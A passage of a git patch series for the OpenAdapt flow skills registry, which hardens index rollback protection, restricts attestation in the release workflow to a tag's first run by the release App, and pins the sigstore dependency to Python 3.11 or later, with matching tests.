missing_bindings(args.bundle) if missing: print("Unbound: " + ", ".join(missing)) diff --git a/packages/flow/registry/README.md b/packages/flow/registry/README.md index cd4d71e7b..4385be98e 100644 --- a/packages/flow/registry/README.md +++ b/packages/flow/registry/README.md @@ -29,7 +29,8 @@ Before it downloads anything, `pull` checks who published the index: through Sigstore's TUF repository into `$OPENADAPT_HOME`. - The attested index carries `issued_at`, `expires_at` and a `serial`. `pull` refuses an expired index, and one whose serial is lower than the highest it - has seen from that address (kept in `$OPENADAPT_HOME/registry-state.json`). + has seen from the release workflow at any address, mirror or local file + (kept in `$OPENADAPT_HOME/registry-state.json`). - A remote index is fetched over https only. For an index you are authoring on the local disk, `--allow-unsigned` takes one with no attestation, and `--allow-test-key` one attested by the local test signer diff --git a/packages/flow/tests/test_skills_registry_review.py b/packages/flow/tests/test_skills_registry_review.py index ca57a6eef..e5000922b 100644 --- a/packages/flow/tests/test_skills_registry_review.py +++ b/packages/flow/tests/test_skills_registry_review.py @@ -424,6 +424,101 @@ def test_an_older_index_is_refused_once_a_newer_one_was_seen(tmp_path): assert not (tmp_path / "b").exists() +def _as_release_workflow(monkeypatch): + """Treat the test envelope as the release workflow's, to test freshness alone.""" + + from openadapt_flow import registry_attest + + real = registry_attest.verify + + def verify(att, **kw): + _, subjects = real(att, allow_test_key=True) + return ( + "https://github.com/OpenAdaptAI/OpenAdapt/.github/workflows/" + "release-registry.yml@refs/tags/registry-x", + subjects, + ) + + monkeypatch.setattr(registry_attest, "verify", verify) + + +def _serve_from(monkeypatch, routes): + real = registry._read + + def read(location, **kw): + for base, directory in routes.items(): + if location.startswith(base): + return (directory / location[len(base) :]).read_bytes() + return real(location, **kw) + + monkeypatch.setattr(registry, "_read", read) + + +def _two_releases(tmp_path): + """Last week's release and today's, which withdrew new-referral 1.0.0.""" + + now = datetime.now(timezone.utc) + old = _attest(_index(tmp_path / "old"), now=now - timedelta(days=10)) + new = _attest(_index(tmp_path / "new"), now=now) + data = json.loads(new.read_text()) + for item in data["workflows"]: + if item["id"] == "openemr/new-referral": + item["version"] = "1.0.1" + new.write_text(json.dumps(data)) + _attest(new, now=now) + return old, new + + +DEFAULT = "https://raw.example/main/registry/" + + +def test_an_older_index_from_a_mirror_is_refused(tmp_path, monkeypatch): + _as_release_workflow(monkeypatch) + old, new = _two_releases(tmp_path) + mirror = "https://mirror.example/registry/" + _serve_from(monkeypatch, {DEFAULT: new.parent, mirror: old.parent}) + registry.pull( + "openemr/new-referral", tmp_path / "a", index_url=DEFAULT + "index.json" + ) + with pytest.raises(registry.RegistryError, match="older than"): + registry.pull( + "openemr/new-referral@1.0.0", + tmp_path / "b", + index_url=mirror + "index.json", + ) + assert not (tmp_path / "b").exists() + + +def test_an_older_index_from_a_local_copy_is_refused(tmp_path, monkeypatch): + _as_release_workflow(monkeypatch) + old, new = _two_releases(tmp_path) + _serve_from(monkeypatch, {DEFAULT: new.parent}) + registry.pull( + "openemr/new-referral", tmp_path / "a", index_url=DEFAULT + "index.json" + ) + with pytest.raises(registry.RegistryError, match="older than"): + registry.pull( + "openemr/new-referral@1.0.0", tmp_path / "b", index_url=str(old) + ) + assert not (tmp_path / "b").exists() + # One mark for the release workflow, whatever the address. + state = json.loads((tmp_path / "openadapt-home/registry-state.json").read_text()) + assert len(state["serials"]) == 1 + + +def test_the_lock_records_the_index_serial(tmp_path, monkeypatch): + _as_release_workflow(monkeypatch) + _, new = _two_releases(tmp_path) + _serve_from(monkeypatch, {DEFAULT: new.parent}) + out = registry.pull( + "openemr/new-referral", tmp_path / "a", index_url=DEFAULT + "index.json" + ) + lock = skills.read_lock(out) + index = json.loads(new.read_text()) + assert lock["index_serial"] == index["serial"] + assert lock["index_issued_at"] == index["issued_at"] + + def test_an_entry_dropped_from_an_attested_index_is_refused(tmp_path): index = _attest(_index(tmp_path)) data = json.loads(index.read_text()) From fbbed355f539450fc74291a25d4f8cfa4e25fa65 Mon Sep 17 00:00:00 2001 From: abrichr Date: Wed, 28 Oct 2026 20:34:00 -0400 Subject: [PATCH 7/8] release-registry: attest only on a tag's first run, by the release App Re-running an old registry-* tag run kept GITHUB_ACTOR as the release bot and passed the ancestor check, stamping an old tree with a fresh serial. The attest job now also requires run_attempt 1 and the release App as the triggering actor. --- .github/workflows/release-registry.yml | 14 ++++++++++++-- packages/flow/tests/test_skills_registry_review.py | 10 +++++++--- 2 files changed, 19 insertions(+), 5 deletions(-) diff --git a/.github/workflows/release-registry.yml b/.github/workflows/release-registry.yml index 493d98f65..d3e67c6ef 100644 --- a/.github/workflows/release-registry.yml +++ b/.github/workflows/release-registry.yml @@ -140,15 +140,25 @@ jobs: PYTHONPATH: packages/flow:packages/types TAG: ${{ github.ref_name }} steps: - - name: Require a release App tag + - name: Require a release App tag, attested on its first run env: EXPECTED_ACTOR: openadapt-release[bot] + TRIGGERING_ACTOR: ${{ github.triggering_actor }} + RUN_ATTEMPT: ${{ github.run_attempt }} run: | set -euo pipefail - if [ "$GITHUB_REF_TYPE" != tag ] || [ "$GITHUB_ACTOR" != "$EXPECTED_ACTOR" ]; then + if [ "$GITHUB_REF_TYPE" != tag ] || [ "$GITHUB_ACTOR" != "$EXPECTED_ACTOR" ] \ + || [ "$TRIGGERING_ACTOR" != "$EXPECTED_ACTOR" ]; then echo "Attesting requires a tag pushed by $EXPECTED_ACTOR." >&2 exit 1 fi + # A re-run of an old tag's run would stamp the old tree with a fresh + # serial, a rollback that beats every high-water mark. Tag again + # from main instead. + if [ "$RUN_ATTEMPT" != 1 ]; then + echo "Attesting runs only on a tag's first run, not attempt $RUN_ATTEMPT." >&2 + exit 1 + fi - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: ref: ${{ github.ref }} diff --git a/packages/flow/tests/test_skills_registry_review.py b/packages/flow/tests/test_skills_registry_review.py index e5000922b..87b96568a 100644 --- a/packages/flow/tests/test_skills_registry_review.py +++ b/packages/flow/tests/test_skills_registry_review.py @@ -497,9 +497,7 @@ def test_an_older_index_from_a_local_copy_is_refused(tmp_path, monkeypatch): "openemr/new-referral", tmp_path / "a", index_url=DEFAULT + "index.json" ) with pytest.raises(registry.RegistryError, match="older than"): - registry.pull( - "openemr/new-referral@1.0.0", tmp_path / "b", index_url=str(old) - ) + registry.pull("openemr/new-referral@1.0.0", tmp_path / "b", index_url=str(old)) assert not (tmp_path / "b").exists() # One mark for the release workflow, whatever the address. state = json.loads((tmp_path / "openadapt-home/registry-state.json").read_text()) @@ -586,6 +584,12 @@ def test_the_release_workflow_attests_and_adds_the_attestation_by_name(): ] assert granted == ["attest"] assert jobs["attest"]["environment"] == "release-identity" + # A re-run of an old tag's run can't stamp a fresh serial on an old tree. + guard = jobs["attest"]["steps"][0] + assert guard["env"]["RUN_ATTEMPT"] == "${{ github.run_attempt }}" + assert guard["env"]["TRIGGERING_ACTOR"] == "${{ github.triggering_actor }}" + assert '[ "$RUN_ATTEMPT" != 1 ]' in guard["run"] + assert '"$TRIGGERING_ACTOR" != "$EXPECTED_ACTOR"' in guard["run"] # -- 6. stripping the provenance doesn't make an unqualified pull runnable ------------------ From e8a161bb8225512815583cbfab7509980f251817 Mon Sep 17 00:00:00 2001 From: abrichr Date: Wed, 28 Oct 2026 20:43:42 -0400 Subject: [PATCH 8/8] registry: sigstore on Python 3.11+ only; plain test values On 3.10, sigstore's email-validator resolves to dnspython 2.8.0, which has an open high-severity advisory (GHSA-45c3-73f7-pv4m); 2.9.0 needs 3.11. Two test values looked like credentials to the secret scan. --- .../flow/openadapt_flow/registry_attest.py | 4 +- packages/flow/pyproject.toml | 5 +- packages/flow/registry/README.md | 2 +- packages/flow/tests/test_skills_registry.py | 2 +- .../flow/tests/test_skills_registry_review.py | 4 +- packages/flow/uv.lock | 62 ++----------------- 6 files changed, 15 insertions(+), 64 deletions(-) diff --git a/packages/flow/openadapt_flow/registry_attest.py b/packages/flow/openadapt_flow/registry_attest.py index 26252a659..d34c4802b 100644 --- a/packages/flow/openadapt_flow/registry_attest.py +++ b/packages/flow/openadapt_flow/registry_attest.py @@ -100,8 +100,8 @@ def _sigstore() -> Any: import sigstore # noqa: F401 except ImportError as exc: raise AttestationError( - "verifying the registry needs the sigstore package: " - "pip install 'openadapt-flow[registry]'" + "verifying the registry needs the sigstore package, on Python " + "3.11 or later: pip install 'openadapt-flow[registry]'" ) from exc return sigstore diff --git a/packages/flow/pyproject.toml b/packages/flow/pyproject.toml index 05b7b27ab..e09cc3c29 100644 --- a/packages/flow/pyproject.toml +++ b/packages/flow/pyproject.toml @@ -131,7 +131,8 @@ dev = [ # (tests/test_native_census_real_apps.py). "uiautomation>=2.0.20; sys_platform == 'win32'", # The registry's Sigstore attestation tests; see the `registry` extra. - "sigstore>=4.5,<5", + # Python 3.11+: on 3.10 it pulls dnspython 2.8, which has an open advisory. + "sigstore>=4.5,<5; python_version >= '3.11'", ] grounder = ["anthropic>=0.40"] # PRIMARY grounding rung: OCR text-anchoring via openadapt-grounding @@ -212,7 +213,7 @@ rdp = ["aardwolf==0.2.14"] # `pull` from the skills registry: verifies the release workflow's Sigstore # attestation of the index (openadapt_flow.registry_attest), offline against # the pinned trusted root. Only `pull` of a remote index needs it. -registry = ["sigstore>=4.5,<5"] +registry = ["sigstore>=4.5,<5; python_version >= '3.11'"] # PHI/PII scrubbing on persist/log paths (Presidio-backed). Optional: the # runtime imports openadapt_flow.privacy unconditionally, but it degrades to a # no-op when this extra is absent (OPENADAPT_FLOW_SCRUB=auto). A regulated diff --git a/packages/flow/registry/README.md b/packages/flow/registry/README.md index 4385be98e..37e95a4b3 100644 --- a/packages/flow/registry/README.md +++ b/packages/flow/registry/README.md @@ -23,7 +23,7 @@ Before it downloads anything, `pull` checks who published the index: `release-registry.yml` on a `registry-*` tag of OpenAdaptAI/OpenAdapt. The attestation must name the exact index it read, and an archive must be one it names too. This needs the `registry` extra - (`pip install 'openadapt-flow[registry]'`). + (`pip install 'openadapt-flow[registry]'`, Python 3.11 or later). - Verification is offline, against the Sigstore trusted root shipped with the package. `openadapt-flow pull --refresh-trust` fetches the current one through Sigstore's TUF repository into `$OPENADAPT_HOME`. diff --git a/packages/flow/tests/test_skills_registry.py b/packages/flow/tests/test_skills_registry.py index fe4a03a9b..12c507f74 100644 --- a/packages/flow/tests/test_skills_registry.py +++ b/packages/flow/tests/test_skills_registry.py @@ -184,7 +184,7 @@ def test_bind_records_names_never_secrets(tmp_path): binding = dest / skills.BINDING assert binding.stat().st_mode & 0o077 == 0 for name, value, message in ( - ("RECORD_TOKEN_VAR", "eyJhbGciOiJIUzI1NiJ9.secret", "NAME of an environment"), + ("RECORD_TOKEN_VAR", "a token, not a name", "NAME of an environment"), ("APP_URL", "https://user:pw@emr.example.org", "credentials in the URL"), ("APP_URL", "emr.example.org", "http"), ("UNKNOWN", "x", "not a variable"), diff --git a/packages/flow/tests/test_skills_registry_review.py b/packages/flow/tests/test_skills_registry_review.py index 87b96568a..241876978 100644 --- a/packages/flow/tests/test_skills_registry_review.py +++ b/packages/flow/tests/test_skills_registry_review.py @@ -165,7 +165,7 @@ def test_a_shipped_contract_names_every_address_and_credential_by_a_declared_var def test_a_shipped_contract_cannot_read_the_environment(tmp_path, monkeypatch): - monkeypatch.setenv("PROBE_SECRET", "s3cr3t-from-os-environ") + monkeypatch.setenv("PROBE_SECRET", "value-from-os-environ") dest = _pull( tmp_path, contract=CONTRACT.replace( @@ -182,7 +182,7 @@ def test_a_shipped_contract_cannot_read_the_environment(tmp_path, monkeypatch): def test_an_unbound_variable_takes_its_default_not_the_environment( tmp_path, monkeypatch ): - monkeypatch.setenv("SITE_LABEL", "s3cr3t-from-os-environ") + monkeypatch.setenv("SITE_LABEL", "value-from-os-environ") dest = _pull( tmp_path, contract=CONTRACT.replace("name: Demo", "name: Demo ${SITE_LABEL:-default}"), diff --git a/packages/flow/uv.lock b/packages/flow/uv.lock index 7ffbb538d..b28e9d7ea 100644 --- a/packages/flow/uv.lock +++ b/packages/flow/uv.lock @@ -684,29 +684,10 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/12/b3/231ffd4ab1fc9d679809f356cebee130ac7daa00d6d6f3206dd4fd137e9e/distro-1.9.0-py3-none-any.whl", hash = "sha256:7bffd925d65168f85027d8da9af6bddab658135b840670a223589bc0c8ef02b2", size = 20277, upload-time = "2023-12-24T09:54:30.421Z" }, ] -[[package]] -name = "dnspython" -version = "2.8.0" -source = { registry = "https://pypi.org/simple" } -resolution-markers = [ - "python_full_version < '3.11' and sys_platform == 'linux'", - "python_full_version < '3.11' and sys_platform != 'linux'", -] -sdist = { url = "https://files.pythonhosted.org/packages/8c/8b/57666417c0f90f08bcafa776861060426765fdb422eb10212086fb811d26/dnspython-2.8.0.tar.gz", hash = "sha256:181d3c6996452cb1189c4046c61599b84a5a86e099562ffde77d26984ff26d0f", size = 368251, upload-time = "2025-09-07T18:58:00.022Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/ba/5a/18ad964b0086c6e62e2e7500f7edc89e3faa45033c71c1893d34eed2b2de/dnspython-2.8.0-py3-none-any.whl", hash = "sha256:01d9bbc4a2d76bf0db7c1f729812ded6d912bd318d3b1cf81d30c0f845dbf3af", size = 331094, upload-time = "2025-09-07T18:57:58.071Z" }, -] - [[package]] name = "dnspython" version = "2.9.0" source = { registry = "https://pypi.org/simple" } -resolution-markers = [ - "python_full_version >= '3.12' and sys_platform == 'linux'", - "python_full_version >= '3.12' and sys_platform != 'linux'", - "python_full_version == '3.11.*' and sys_platform == 'linux'", - "python_full_version == '3.11.*' and sys_platform != 'linux'", -] sdist = { url = "https://files.pythonhosted.org/packages/ef/4a/50822184bd67cc6493f0fb6a880749158fcd31ab3fa07409acfd91f9fc85/dnspython-2.9.0.tar.gz", hash = "sha256:b44dc6b18f07a8b1c56676a19fbfdb5209415b046a9cece286baafa87ff3f7f1", size = 423560, upload-time = "2026-10-09T00:07:24.352Z" } wheels = [ { url = "https://files.pythonhosted.org/packages/10/02/cdcc9b7c051786a103c3b09e1003a82fa0c66bcb91ffbdabcfbf7b4163b9/dnspython-2.9.0-py3-none-any.whl", hash = "sha256:9a4aedb833c3c1b49214d04d44d3032ab7a9135f7c1d29a549b4ff78fd82fda9", size = 354822, upload-time = "2026-10-09T00:07:22.622Z" }, @@ -726,8 +707,7 @@ name = "email-validator" version = "2.3.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "dnspython", version = "2.8.0", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, - { name = "dnspython", version = "2.9.0", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" }, + { name = "dnspython" }, { name = "idna" }, ] sdist = { url = "https://files.pythonhosted.org/packages/f5/22/900cb125c76b7aaa450ce02fd727f452243f2e91a61af068b40adba60ea9/email_validator-2.3.0.tar.gz", hash = "sha256:9fc05c37f2f6cf439ff414f8fc46d917929974a82244c20eb10231ba60c54426", size = 51238, upload-time = "2025-08-26T13:09:06.831Z" } @@ -1163,15 +1143,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/38/3d/2d244233ac4f76e38533cfcb2991c9eb4c7bf688ae0a036d30725b8faafe/importlib_metadata-9.0.0-py3-none-any.whl", hash = "sha256:2d21d1cc5a017bd0559e36150c21c830ab1dc304dedd1b7ea85d20f45ef3edd7", size = 27789, upload-time = "2026-03-20T06:42:55.665Z" }, ] -[[package]] -name = "importlib-resources" -version = "5.13.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/a5/f1/8711c49ffd121083007a24c1bff0d324c9ff621d4fdf8b4ffcb8d9e60330/importlib_resources-5.13.0.tar.gz", hash = "sha256:82d5c6cca930697dbbd86c93333bb2c2e72861d4789a11c2662b933e5ad2b528", size = 36550, upload-time = "2023-07-07T16:21:00.171Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/7a/68/bd9dd6bbf06772c7accce77d0354d783333fbe712a60b08fc13540c05422/importlib_resources-5.13.0-py3-none-any.whl", hash = "sha256:9f7bd0c97b79972a6cce36a366356d16d5e13b09679c11a58f1014bfdf8e64b2", size = 32912, upload-time = "2023-07-07T16:20:58.128Z" }, -] - [[package]] name = "iniconfig" version = "2.3.0" @@ -2082,7 +2053,7 @@ dev = [ { name = "requests" }, { name = "ruff" }, { name = "scikit-image" }, - { name = "sigstore" }, + { name = "sigstore", marker = "python_full_version >= '3.11'" }, { name = "uiautomation", marker = "sys_platform == 'win32'" }, { name = "uvicorn" }, ] @@ -2138,7 +2109,7 @@ rdp = [ { name = "aardwolf" }, ] registry = [ - { name = "sigstore" }, + { name = "sigstore", marker = "python_full_version >= '3.11'" }, ] reward = [ { name = "fastapi" }, @@ -2219,8 +2190,8 @@ requires-dist = [ { name = "requests", marker = "extra == 'windows'", specifier = ">=2.31" }, { name = "ruff", marker = "extra == 'dev'", specifier = "==0.17.0" }, { name = "scikit-image", marker = "extra == 'dev'", specifier = ">=0.22" }, - { name = "sigstore", marker = "extra == 'dev'", specifier = ">=4.5,<5" }, - { name = "sigstore", marker = "extra == 'registry'", specifier = ">=4.5,<5" }, + { name = "sigstore", marker = "python_full_version >= '3.11' and extra == 'dev'", specifier = ">=4.5,<5" }, + { name = "sigstore", marker = "python_full_version >= '3.11' and extra == 'registry'", specifier = ">=4.5,<5" }, { name = "tomli", marker = "python_full_version < '3.11'", specifier = ">=2.0" }, { name = "transformers", marker = "extra == 'service-mlx'", specifier = ">=5.14,<5.18" }, { name = "uiautomation", marker = "sys_platform == 'win32' and extra == 'dev'", specifier = ">=2.0.20" }, @@ -2425,29 +2396,10 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/62/36/a3aed958d60531cb442b7ab4596cda7b3621cfb916f8ae1d6769795c7dc1/pip-26.2-py3-none-any.whl", hash = "sha256:931c303696af6fa3417112103b1cad26890e5a07eccb5b99783700e33f2b8aad", size = 1816475, upload-time = "2026-07-29T21:57:54.763Z" }, ] -[[package]] -name = "platformdirs" -version = "4.12.4" -source = { registry = "https://pypi.org/simple" } -resolution-markers = [ - "python_full_version < '3.11' and sys_platform == 'linux'", - "python_full_version < '3.11' and sys_platform != 'linux'", -] -sdist = { url = "https://files.pythonhosted.org/packages/90/a1/d5f9002a70298c64a789779077d8dd90c10aa1f47fe40c86802df874f2a6/platformdirs-4.12.4.tar.gz", hash = "sha256:63743c02414e755de4e31b8f68125c1407495b86c5a006e203c01ff8b9924250", size = 60010, upload-time = "2026-10-07T23:30:32.426Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/f4/ba/223e00b885e960edd5d4b4d178c88acce019bd5b83786093681b8c393492/platformdirs-4.12.4-py3-none-any.whl", hash = "sha256:78bfb9db2a8471ed7eebe3c3c932da413911042994e699b384fbb4493fa872d7", size = 32596, upload-time = "2026-10-07T23:30:30.825Z" }, -] - [[package]] name = "platformdirs" version = "4.14.0" source = { registry = "https://pypi.org/simple" } -resolution-markers = [ - "python_full_version >= '3.12' and sys_platform == 'linux'", - "python_full_version >= '3.12' and sys_platform != 'linux'", - "python_full_version == '3.11.*' and sys_platform == 'linux'", - "python_full_version == '3.11.*' and sys_platform != 'linux'", -] sdist = { url = "https://files.pythonhosted.org/packages/40/28/1c058a9143d2304b3078f8dadcbb9dc27f7d3581b5d05157c84869c4cc0d/platformdirs-4.14.0.tar.gz", hash = "sha256:83f009c1e8c5fc36869b5171755b291887bd2cade7965233cdfabd23d754720b", size = 70387, upload-time = "2026-10-28T18:27:30.973Z" } wheels = [ { url = "https://files.pythonhosted.org/packages/69/2b/887969ef4bb53e0cb271dc7c3f4a73d50c5d58bb88aeaae311e3340cd57e/platformdirs-4.14.0-py3-none-any.whl", hash = "sha256:1dadfc59a8a5d7565b3d9270ae8fa71c065595352c4277b41c11ee6c222c4b91", size = 35259, upload-time = "2026-10-28T18:27:29.659Z" }, @@ -3634,9 +3586,7 @@ source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "cryptography" }, { name = "id" }, - { name = "importlib-resources", marker = "python_full_version < '3.11'" }, - { name = "platformdirs", version = "4.12.4", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, - { name = "platformdirs", version = "4.14.0", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" }, + { name = "platformdirs" }, { name = "pydantic" }, { name = "pyjwt" }, { name = "requests" },